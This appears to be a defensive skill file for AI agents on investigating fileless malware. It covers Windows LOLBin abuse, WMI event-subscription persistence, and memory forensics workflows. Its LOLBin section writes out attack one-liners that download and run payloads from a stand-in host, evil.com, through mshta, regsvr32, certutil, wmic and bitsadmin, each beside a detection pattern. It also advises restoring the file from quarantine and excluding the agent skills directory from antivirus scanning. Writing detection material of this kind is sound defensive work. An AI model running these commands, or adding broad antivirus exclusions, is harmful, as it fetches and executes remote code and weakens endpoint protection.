This source did not publish a separate summary. Review SKILL.md before using the skill.
SKILL.md
Detecting Fileless Malware Techniques
When to Use
EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)
Investigating attacks that leave no traditional malware files on disk
Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence
Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments
Memory forensics reveals malicious code but no corresponding files exist on the filesystem
Do not use for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.
Windows Defender / Antivirus False Positive
Some endpoint antivirus products — notably Windows Defender (signature Trojan:script/Wacatac.H!ml) — may quarantine this skill's SKILL.md as malicious. This is a known false positive: the file intentionally documents fileless attack patterns (LOLBins, encoded PowerShell, memory YARA indicators) for defensive detection and investigation. The content is educational only; it does not execute code.
If quarantined: restore the file from quarantine, add an exclusion for your local agent skills directory, and see GitHub issue #100 for discussion. YARA strings live in references/yara-fileless-powershell.yar (not inline in this file) to reduce scanner triggers while preserving the rule for analysts.
Prerequisites
Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)
PowerShell Script Block Logging and Module Logging enabled
Volatility 3 for memory forensics of fileless malware artifacts
Process Monitor (ProcMon) for real-time system activity monitoring
Windows Event Log access with adequate retention policies
Autoruns for identifying persistence mechanisms
Workflow
Step 1: Identify LOLBin Usage
Detect abuse of legitimate Windows binaries for malicious purposes:
Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
Abuse: Execute HTA files with embedded VBScript/JScript
Example: mshta http://evil.com/payload.hta
Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
Detect: mshta.exe with URL argument or vbscript: prefix
regsvr32.exe:
Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
Detect: regsvr32.exe with /i: URL parameter
certutil.exe:
Abuse: Download files, decode Base64
Example: certutil -urlcache -split -f http://evil.com/payload.exe
Example: certutil -decode encoded.txt payload.exe
Detect: certutil.exe with -urlcache or -decode arguments
rundll32.exe:
Abuse: Execute DLL functions, JavaScript
Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
Detect: rundll32.exe with javascript: argument
wmic.exe:
Abuse: Execute code via XSL stylesheets
Example: wmic process get brief /format:"http://evil.com/payload.xsl"
Detect: wmic.exe with /format: URL parameter
bitsadmin.exe:
Abuse: Download files via BITS
Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
Detect: bitsadmin.exe with /transfer or /addfile to external URL
cmstp.exe:
Abuse: Execute commands via INF file
Example: cmstp.exe /ni /s payload.inf
Detect: cmstp.exe execution from non-standard locations
Step 2: Detect WMI-Based Persistence
Analyze WMI event subscriptions used for fileless persistence:
Scenario: Investigating a Fileless Attack Using WMI Persistence
Context: Sysmon alerts show WMI event subscription creation followed by periodic PowerShell execution without any corresponding malware files on disk. The attack persists across reboots.
Approach:
Query WMI namespace for event filters, consumers, and bindings to identify the persistence mechanism
Extract the CommandLineEventConsumer or ActiveScriptEventConsumer payload
Decode the PowerShell command (typically Base64-encoded with -enc flag)
Trace the PowerShell execution in Script Block Logging (Event ID 4104) for the full deobfuscated payload
Analyze memory dump for reflectively loaded assemblies and injected code
Check registry for additional stored payloads referenced by the PowerShell script
Map the complete attack chain from initial access through persistence and lateral movement
Pitfalls:
Not having Sysmon WMI event logging enabled (Events 19/20/21) before the incident
Rebooting the system before capturing a memory dump (destroys in-memory evidence)
Focusing only on file-based IOCs when the attack is entirely fileless
Missing the initial access vector because the LOLBin execution left minimal traces
